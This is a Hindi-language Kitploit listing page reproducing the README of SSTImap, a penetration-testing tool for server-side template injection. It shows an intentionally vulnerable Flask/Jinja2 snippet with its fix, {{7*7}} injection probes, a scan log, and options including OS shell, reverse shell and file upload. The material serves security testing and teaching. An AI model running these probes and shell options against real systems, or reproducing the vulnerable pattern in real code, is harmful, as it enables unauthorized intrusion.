Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
SSTImap — इंटरैक्टिव इंटरफ़ेस के साथ स्वचालित SSTI पहचान उपकरण | Kitploit
उपकरण/GitHubGitHub/vladko312/sstimap
भेद्यता स्कैनरपेलोड जनरेशनकोड विश्लेषणगतिशील कोड विश्लेषण (DAST)शोषणवेब एप्लिकेशन शोषणफज़िंगपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोल
GitHubvladko312/sstimap

SSTImap

इंटरैक्टिव इंटरफ़ेस के साथ स्वचालित SSTI पहचान उपकरण

1.6k1771291 महीना पहलेKitploit द्वारा समीक्षित
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SSTImap

Version 1.4 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

यह प्रोजेक्ट Tplmap पर आधारित है।

SSTImap एक पैठ परीक्षण सॉफ्टवेयर है जो वेबसाइटों में कोड इंजेक्शन और सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों की जांच कर सकता है और उनका शोषण कर सकता है, जिससे ऑपरेटिंग सिस्टम तक ही पहुंच मिल जाती है।

यह टूल SSTI का पता लगाने और शोषण के लिए एक इंटरैक्टिव पैठ परीक्षण टूल के रूप में उपयोग किए जाने के लिए विकसित किया गया था, जो अधिक उन्नत शोषण की अनुमति देता है। SSTImap के लिए अधिक पेलोड यहां पाए जा सकते हैं।

पेलोड और तकनीकें निम्नलिखित से आई हैं:

  • James Kettle की [Server-Side Template Injection: RCE For The Modern Web App][5]
  • अन्य सार्वजनिक शोध [[1]][1] [[2]][2] [[8]][8]
  • Tplmap में योगदान [[3]][3] [[4]][4]
  • मेरा अपना शोध [[9]][9]

यह टूल कुछ कोड संदर्भ एस्केप और ब्लाइंड इंजेक्शन परिदृश्यों का शोषण करने में सक्षम है। यह Java, JavaScript, PHP, Python, Ruby और सामान्य अनसैंडबॉक्स्ड टेम्पलेट इंजनों में eval()-जैसे कोड इंजेक्शन का भी समर्थन करता है।

Tplmap से मुख्य अंतर

हालांकि यह सॉफ्टवेयर Tplmap के कोड पर आधारित है, पिछड़ी संगतता प्रदान नहीं की गई है।

  • SSTI का पता लगाने और शोषण के लिए दो नई तकनीकें जोड़ी गईं
  • इंटरैक्टिव मोड (-i) जो आसान शोषण और पता लगाने की अनुमति देता है
  • पेलोड प्रतिबिंब के मामले में प्रतिक्रिया मार्कर के रूप में सरल मूल्यांकन पेलोड
  • सामान्य टेम्पलेट्स के लिए नए पेलोड जोड़े गए, सभी संदर्भों का परीक्षण करने के लिए --generic का उपयोग करें
  • Eval_generic मॉड्यूल का उपयोग करके सामान्य मूल्यांकन टेम्पलेट इंजेक्शन का पता लगाना
  • बेस भाषा eval()-जैसा शेल (-x) या एकल कमांड (-X) निष्पादन
  • ब्लाइंड फ़ाइल अपलोड अब MD5 पुष्टि और फ़ाइल अस्तित्व जांच का समर्थन करता है
  • अधिक टेम्पलेट्स के लिए नए पेलोड जोड़े गए और कई मौजूदा पेलोड अपडेट किए गए
  • मॉड्यूलर प्लगइन संरचना जो अतिरिक्त प्लगइन स्थापना की अनुमति देती है
  • विभिन्न POST डेटा प्रकारों के लिए समर्थन
  • क्रॉलिंग और फॉर्म का पता लगाना जोड़ा गया
  • कई तर्कों में छोटे संस्करण जोड़े गए
  • कुछ पुराने कमांड लाइन तर्क बदल दिए गए, सहायता के लिए -h देखें
  • कोड को नई पायथन सुविधाओं का उपयोग करने के लिए बदला गया है
  • Burp Suite एक्सटेंशन अस्थायी रूप से हटा दिया गया, क्योंकि Jython Python3 का समर्थन नहीं करता है

सर्वर-साइड टेम्पलेट इंजेक्शन

यह Python में [Flask][6] फ्रेमवर्क और [Jinja2][7] टेम्पलेट इंजन का उपयोग करके लिखी गई एक सरल वेबसाइट का उदाहरण है। यह उपयोगकर्ता-आपूर्ति किए गए चर name को असुरक्षित तरीके से एकीकृत करता है, क्योंकि इसे रेंडरिंग से पहले टेम्पलेट स्ट्रिंग में जोड़ा जाता है।

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

टेम्पलेट्स का उपयोग करने का यह तरीका न केवल XSS कमजोरी पैदा करता है, बल्कि यह हमलावर को टेम्पलेट कोड इंजेक्ट करने की भी अनुमति देता है, जो सर्वर पर निष्पादित होगा, जिससे SSTI होता है।

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

उपयोगकर्ता-आपूर्ति किए गए इनपुट को रेंडरिंग संदर्भ के माध्यम से सुरक्षित तरीके से पेश किया जाना चाहिए:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

पूर्वनिर्धारित मोड

पूर्वनिर्धारित मोड में SSTImap Tplmap के समान है। यह कई अलग-अलग टेम्पलेट्स में SSTI कमजोरियों का पता लगाने और शोषण करने में सक्षम है।

शोषण के बाद, SSTImap कोड मूल्यांकन, OS कमांड निष्पादन और फ़ाइल सिस्टम हेरफेर तक पहुंच प्रदान कर सकता है।

URL की जांच करने के लिए, आप -u तर्क का उपयोग कर सकते हैं:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

लक्ष्य पर स्यूडो-टर्मिनल लॉन्च करने के लिए --os-shell विकल्प का उपयोग करें।

$ ./sstimap.py -u https://example.com/page?name=John --os-shell
टूल डाउनलोड करें